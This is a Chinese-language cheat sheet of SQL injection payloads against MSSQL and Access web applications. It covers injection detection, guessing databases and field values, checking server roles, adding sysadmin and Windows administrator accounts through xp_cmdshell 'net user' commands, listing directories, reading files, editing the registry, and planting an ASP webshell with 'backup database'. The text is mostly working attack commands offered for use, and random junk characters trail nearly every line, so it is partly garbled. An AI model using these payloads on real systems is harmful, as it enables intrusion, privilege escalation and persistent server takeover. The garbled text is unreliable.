1.判断是否有注入;and 1=1 ;and 1=2 /( Wq
2.初步判断是否是mssql ;and user>0 G{U#9
{q-&!l|
3.注入参数是字符'and [查询条件] and ''=' ]juPm8eF
z*\_+u~u
4.搜索时没过滤参数的'and [查询条件] and '%25'=' jm}CrqU
QJ|@Y(KV0
5.判断数据库系统 Ipp_}tl_
R'>!1\?Iq
;and (select count(*) from sysobjects)>0 mssql ON :t"z5
Bn}woyJdx
;and (select count(*) from msysobjects)>0 access \T7Mt|f:5
(jT)o,IW&
Y6` xb`
6 d-\+t8
6.猜数据库 ;and (select Count(*) from [数据库名])>0 4&iQo'
m2(>KMbi
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 S,#1^S
OW7
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 YKyno?m
;J%:DD
9.(1)猜字段的ascii值(access) s|=lKa]d!"
F-_u/C]
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 d>QFmsh-
HBlk~eZ
(2)猜字段的ascii值(mssql) 50,'z?-_
!nv wRQ
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 FY1iY/\Cn
E }L Hp
10.测试权限结构(mssql) `|dyT6V0I_
H QqFrR
%B s. XW,
nV'1 $L#
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- eV9U+]C`
>B BV/C'9
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- VD;*UkapZx
{{G)Ry*pb
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- CMt<oT6.?
$O"ss>8Se
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- /9`4f "
u47<J?!Q
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- HIg2y
'7iz5wC#
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ~Amq1KU*Z
BoD{fg
;and 1=(select IS_MEMBER('db_owner'));-- 2HX/@ERhmu
-l^<[%
j*{0<hZb}
!~ox;I}S
11.添加mssql和系统的帐户 >3 o4 U2
6(n0{A
;exec master.dbo.sp_addlogin username;-- cgnNO&
;exec master.dbo.sp_password null,username,password;-- {}O~tf_
P}R:o
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- -ng1RA>
mRk)5{
;exec master.dbo.xp_cmdshell 'net user username password +QChD*
gabfb#
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- :eN&wQ5q
tsXKhS;/w
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 7J'%;sH
tl#sCf!c
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Vk2$b{VdF
wKJG 31I^
'&IGdB I
I"Oq< _
12.(1)遍历目录 oPe|Gfv\G
x#1Fi$.
;create table dirs(paths varchar(100), id int) c~ss^[qx|
RD$:.
;insert dirs exec master.dbo.xp_dirtree 'c:\' zakhJ
2W AeSUX
;and (select top 1 paths from dirs)>0
.-gJS-.c
D,#UJPyg
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) H$![]Ujq
,i>`Urd
Bf{u:TCK
7;>|9k
(2)遍历目录 q lc@$
!eX0Q 2
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- i%2u>Ni^
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 GVY7`k"km
Ailq,c
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 6v`3/o
GZ%vFje_
K
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 HC iRk1
V_7\VKR
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 P9v(5Z00|d
mLCDN1UO{
}b_Ob
#QNN;&L]R
13.mssql中的存储过程 AA\a#\#Z3
dN8Mfa)
xp_regenumvalues 注册表根键, 子键 Q}BMvR 9w
z^bS+0S5x!
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 VAPeMO
ck
U]PB)
xp_regread 根键,子键,键值名 ">V1II
7
>|f"EK}m!
;exec xp_regread l\<.*6r
fO<40!%9cQ
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 gOF^?M11x
p9v:T1?
xp_regwrite 根键,子键, 值名, 值类型, 值 7=-Yxt
d$!Q6ux;
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 g=Xf&}&=x
~\":o:qyc
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 {>>X3I
3?Pg
;
xp_regdeletevalue 根键,子键,值名 zPt<b!q
`Ba]i) !
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 #g{R+#fm
BT7{]2?&V
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 gInh+XZs
*EWWN?d
"\|P6H
<4}m:
14.mssql的backup创建webshell Exb64n-_=
R%UTYRLUn
use model z8\YMr6o
4BCPh:
create table cmd(str image); Xa[k=qFo
=j.TDv'^nd
insert into cmd(str) values (''); t3<MoDe7`r
sz9W}&(j
backup database model to disk='c:\l.asp'; bzr2Zj{4
]$smFF
#&Hi0..y
2B_|"J
15.mssql内置函数 t2[/eM.G
\VpEUU6^U
;and (select @@version)>0 获得Windows的版本号 gAAC>{Wh
-S$F\%
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Xa`Q;J"h
5kGniG?T#
;and (select user_name())>0 爆当前系统的连接用户 F0$w9p
M(X
_I`\E
;and (select db_name())>0 得到当前连接的数据库 wQ33Gc
] Q5:JV
.psb#4
3FBL CD3
16.简洁的webshell 'Lu<2=a~
eiMP:
use model *yBVZD|?H
%8*:VR
create table cmd(str image); ,Lig6Z`
\.L jA_
insert into cmd(str) values (''); "J(M. Y
J!:BCjRdw
backup database model to disk='g:\wwwtest\l.asp';